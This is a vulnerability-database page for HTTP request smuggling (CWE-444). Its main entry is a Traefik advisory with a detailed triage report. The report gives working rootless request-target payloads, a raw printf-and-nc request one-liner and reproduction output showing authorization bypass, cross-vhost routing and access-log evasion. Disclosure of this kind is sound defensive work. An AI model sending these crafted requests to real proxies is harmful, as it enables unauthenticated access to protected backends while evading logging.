GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-444

Allowed

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Abstraction: Base · Status: Incomplete

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

674 vulnerabilities reference this CWE, most recent first.

GHSA-F4RG-WQ5H-C9CC

Vulnerability from github – Published: 2026-09-18 21:32 – Updated: 2026-09-18 21:32
VLAI
Details

IBM WebSphere Application Server and WebSphere Application Server Liberty are affected by an HTTP request smuggling vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T20:17:03Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Application Server and WebSphere Application Server Liberty are affected by an HTTP request smuggling vulnerability.",
  "id": "GHSA-f4rg-wq5h-c9cc",
  "modified": "2026-09-18T21:32:25Z",
  "published": "2026-09-18T21:32:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11722"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7287740"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F52W-8J3H-J724

Vulnerability from github – Published: 2026-09-10 23:03 – Updated: 2026-09-10 23:03
VLAI
Summary
Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging
Details

Summary

Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example GET http:http://internal-vhost/admin HTTP/1.1). Go parses this into URL.Opaque with an empty URL.Path, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to /, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, forwardAuth path-scoped policies and the encodedCharacters hardening never see the real target, and the access log records every such request as GET / HTTP/1.1. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.

Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.57
  • https://github.com/traefik/traefik/releases/tag/v3.7.13

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary The scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path. **The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred: 1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block. 2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend. 3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `"GET / HTTP/1.1"`. Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload. This is not the "the operator left an opt-in permissive" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed. ## Affected code - `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`) - `pkg/muxer/http/mux.go:139` (`withRoutingPath`) ## Code analysis ### The sink `pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone:
pr.Out.URL.Scheme = target.Scheme
pr.Out.URL.Host = target.Host
...
pr.Out.URL.Path = u.Path
pr.Out.URL.RawPath = u.RawPath
...
pr.Out.RequestURI = "" // Outgoing request should not have RequestURI
`net/http`'s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != ""`. So the wire target is the attacker's string, and every field the proxy carefully set is ignored. ### How Opaque gets populated `net/http`'s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}`. Note that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`. ### Why the entry-point pipeline does not catch it - `denyFragment` inspects `req.URL.RawPath` → empty → passes. - `normalizePath` returns early when `RawPath == ""` → passes. - `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath("/")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `"/"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker's authority-bearing form*. - The muxer matches on `URL.Path == "/"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form. - `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `"/"`. The denylist can never fire. - `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`. - `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router's view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy. ### Scope The experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner's location call is accurate for both. Note this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync. ## Reproduction (J04, F4) Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone). ### A. In-tree Go test (`pkg/server`, deleted after the run) Entry-point chain assembled in `newHTTPServer` order (`denyFragment` → `normalizePath` → `sanitizePath` → `requestdecorator` → real `httpmuxer` with `Host(app.example.com)` → real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket. **Command:**
go test -run TestScanPocJ04Opaque -v ./pkg/server/
**Observed:**
=== RUN   TestScanPocJ04Opaque/control_origin_form
    status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com"
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret")
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form_simple
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="")
=== RUN   TestScanPocJ04Opaque/absolute_form
    status="404 Not Found" reachedBackend=false
--- PASS: TestScanPocJ04Opaque (2.01s)
**Conclusion:** REPRODUCED. Traefik routes on `Path="/"` and `Host="app.example.com"`; the backend receives `Host="internal-vhost"` and `Path="/admin"`. The `%2f` bytes survive to the backend's `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go's `Request.Host` derivation but visible to the wire writer, that desyncs. ### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend Topology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`. **B1. Cross-vhost + log evasion (stock defaults):**
=== request-target sent: '/'
PUBLIC-VHOST uri=/ host=app.example.com

=== request-target sent: 'http:http://internal-vhost/admin'
INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost
Traefik access log for those same three requests:
"GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms
"GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms
"GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms
**B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`):
=== request-target sent: '/admin%2f..%2fsecret'
HTTP/1.1 400 Bad Request                       <- canonical path: protection fires

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
HTTP/1.1 200 OK
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost   <- same payload, protection never fires
**B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`):
=== request-target sent: '/admin'                          -> 403 DENY
=== request-target sent: 'http:/admin'                     -> 403 DENY
=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
Auth-service log confirms the decision flip: `403`, `403`, `200`. **Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously. ### Documentation grounding Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.** _(truncated ; full analysis in the linked internal report)_ ## Reproduction (J18, F20) Three Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run. **Probe 1 — routing desync and verbatim forward.** Real entry point chain (`denyFragment` -> `normalizePath` -> `sanitizePath` -> `requestdecorator` -> `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket.
cd /Users/emile/go/src/github.com/traefik/traefik
go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1
    --> raw request line: "GET http:admin/secret HTTP/1.1"
    in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- response: "HTTP/1.1 200 OK\r"
    <-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1
    in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1      (control)
    <-- routers matched: [router-admin(AUTH)]
    <-- response: "HTTP/1.1 401 Unauthorized\r"
PASS
The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the `%2F` that an `encodedCharacters` filter would have rejected. **Probe 2 — origin tolerance.** Which origins actually resolve a rootless request-target.
go test -run TestJ18BackendTolerance ./pkg/server/ -v     # Go net/http + fasthttp v1.69.0
docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine
docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)"
docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000
docker run -d --rm -p 18122:8080 tomcat:9.0.120
printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
| Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) | |---|---|---| | Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path="/admin/secret"` | | nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) | | httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) | | Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` | | Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) | | Python `http.server` | accepted (404, no 400) | 404 | | **fasthttp v1.69.0** | **`200 OK`, `Path="/admin/secret"`** | 200, `Path="/admin/secret"` | fasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path="/admin/secret"`, `RequestURI="admin%2Fsecret"`. **Probe 3 — end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`.
go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
"GET /admin/secret HTTP/1.1"       => 401 basicAuth required
"GET http:admin/secret HTTP/1.1"   => Server: fasthttp ... ADMIN_PANEL_SECRET
"GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET
The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials. ## Second affected site (J18) The finding is **mechanically correct and fully reproduced end to end**, including the auth bypass. A client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go's `url.ParseRequestURI` into `URL.Opaque = "admin/secret"` with an empty `URL.Path` / `URL.RawPath`. Traefik's entry point chain and muxer never look at `URL.Opaque`: - `denyFragment` inspects `URL.RawPath` (empty) and passes. - `normalizePath` returns early on empty `RawPath`. - `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `"/"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `"admin/secret"`. - `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `"/"`. - Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker's target verbatim. Result: Traefik makes its routing and middleware decision on one string (`"/"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix("/")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path. Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python's `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here. ## Documentation grounding Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.** The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing. This lands squarely in Step 2e's **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed. ## Precedent in comparable projects Searched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`. | Product | ID | Severity | Framing | Fix shape | |---|---|---|---|---| | Caddy | CVE-2026-27587 | HIGH | `MatchPath`'s `%xx` (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. | | Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. | | Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. | | Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. | | Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. | Add normalization. | | Envoy | CVE-2023-27491 | medium | Envoy **forwards invalid HTTP/2 and HTTP/3 downstream headers** to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. | | Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. | | HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. | _(truncated ; full analysis in the linked internal report)_ ## Recommended fix **Assign for fix, and treat as CVE-worthy.** 1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In `pkg/proxy/httputil/proxy.go`, next to the Path/RawPath assignments: ```go pr.Out.URL.Opaque = "" ``` and in `pkg/proxy/fast/proxy.go`, on the `u2 := *req.URL` copy before `outReq.SetRequestURI(u2.RequestURI())`. This alone closes the forwarding half. 2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-`CONNECT` requests, require `req.URL.Opaque == ""` and an `EscapedPath()` beginning with `/`, or normalize the true `absolute-form` case by promoting the authority into `req.Host`. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, `sanitizePath` still rewrites `RequestURI` to the attacker's authority-bearing form and the access log still records `/`. 3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point. 4. Consider reporting the `ReverseProxy` omission upstream to Go as well, since `NewSingleHostReverseProxy` has the same gap, but do not make the Traefik fix wait on it. 5. If filed as an advisory, use cluster slug `opaque-request-target-forwarding` and note that the fix must land on the fast proxy in the same PR. ## Provenance Found by an external automated code scan (`CLAUDE-SECURITY-20260824-122205`) of `pkg/middlewares`, `pkg/proxy`, `pkg/server`, `pkg/muxer` and `pkg/tls` on branch `v3.7` at commit `d5072ce7b8765c9574246072e05dd81d84950da7`, then triaged with the `advisory-check` process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt. Triage outcome : **Likely Valid**, confidence High, reproduced (yes). Expected publication likelihood at triage time : High. Scanner finding ids : F4, F20. Internal report : `findings/scan-20260824/verdicts/J04.md, J18.md` in the security-advisor repository.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.7.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.57"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T23:03:53Z",
    "nvd_published_at": "2026-09-10T16:18:07Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nTraefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example `GET http:http://internal-vhost/admin HTTP/1.1`). Go parses this into `URL.Opaque` with an empty `URL.Path`, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to `/`, while the proxy forwards the attacker\u0027s original target byte-for-byte to the backend. Router path/prefix guards, `forwardAuth` path-scoped policies and the `encodedCharacters` hardening never see the real target, and the access log records every such request as `GET / HTTP/1.1`. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion \u2014 unauthenticated, with stock entrypoint defaults.\n\nTraefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nThe scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.\n\n**The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred:\n\n1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block.\n2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend.\n3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `\"GET / HTTP/1.1\"`.\n\nPlus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload.\n\nThis is not the \"the operator left an opt-in permissive\" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed.\n\n## Affected code\n\n- `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`)\n- `pkg/muxer/http/mux.go:139` (`withRoutingPath`)\n\n## Code analysis\n\n### The sink\n\n`pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone:\n\n```go\npr.Out.URL.Scheme = target.Scheme\npr.Out.URL.Host = target.Host\n...\npr.Out.URL.Path = u.Path\npr.Out.URL.RawPath = u.RawPath\n...\npr.Out.RequestURI = \"\" // Outgoing request should not have RequestURI\n```\n\n`net/http`\u0027s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != \"\"`. So the wire target is the attacker\u0027s string, and every field the proxy carefully set is ignored.\n\n### How Opaque gets populated\n\n`net/http`\u0027s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: \"http\", Opaque: \"http://internal-vhost/admin\", Path: \"\", Host: \"\"}`.\n\nNote that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 \u00a73.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`.\n\n### Why the entry-point pipeline does not catch it\n\n- `denyFragment` inspects `req.URL.RawPath` \u2192 empty \u2192 passes.\n- `normalizePath` returns early when `RawPath == \"\"` \u2192 passes.\n- `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath(\"/\")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `\"/\"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker\u0027s authority-bearing form*.\n- The muxer matches on `URL.Path == \"/\"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form.\n- `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `\"/\"`. The denylist can never fire.\n- `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := \u0026url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`.\n- `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router\u0027s view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy.\n\n### Scope\n\nThe experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner\u0027s location call is accurate for both.\n\nNote this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.\n\n## Reproduction (J04, F4)\n\nTwo independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs\u0027 probe files, which were left alone).\n\n### A. In-tree Go test (`pkg/server`, deleted after the run)\n\nEntry-point chain assembled in `newHTTPServer` order (`denyFragment` \u2192 `normalizePath` \u2192 `sanitizePath` \u2192 `requestdecorator` \u2192 real `httpmuxer` with `Host(app.example.com)` \u2192 real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket.\n\n**Command:**\n```\ngo test -run TestScanPocJ04Opaque -v ./pkg/server/\n```\n\n**Observed:**\n```\n=== RUN   TestScanPocJ04Opaque/control_origin_form\n    status=\"200 OK\" reachedBackend=true backend.RequestURI=\"/hello\" backend.Host=\"app.example.com\"\n=== RUN   TestScanPocJ04Opaque/rootless_opaque_form\n    status=\"200 OK\" reachedBackend=true\n    routed(URL.Path=\"/\" RawPath=\"\" Opaque=\"http://internal-vhost/admin%2f..%2fsecret\" RequestURI=\"http://internal-vhost/admin%2f..%2fsecret\" Host=\"app.example.com\")\n    backend(RequestURI=\"http://internal-vhost/admin%2f..%2fsecret\" Host=\"internal-vhost\" Path=\"/admin/../secret\" RawPath=\"/admin%2f..%2fsecret\")\n=== RUN   TestScanPocJ04Opaque/rootless_opaque_form_simple\n    status=\"200 OK\" reachedBackend=true\n    routed(URL.Path=\"/\" RawPath=\"\" Opaque=\"http://internal-vhost/admin\" RequestURI=\"http://internal-vhost/admin\" Host=\"app.example.com\")\n    backend(RequestURI=\"http://internal-vhost/admin\" Host=\"internal-vhost\" Path=\"/admin\" RawPath=\"\")\n=== RUN   TestScanPocJ04Opaque/absolute_form\n    status=\"404 Not Found\" reachedBackend=false\n--- PASS: TestScanPocJ04Opaque 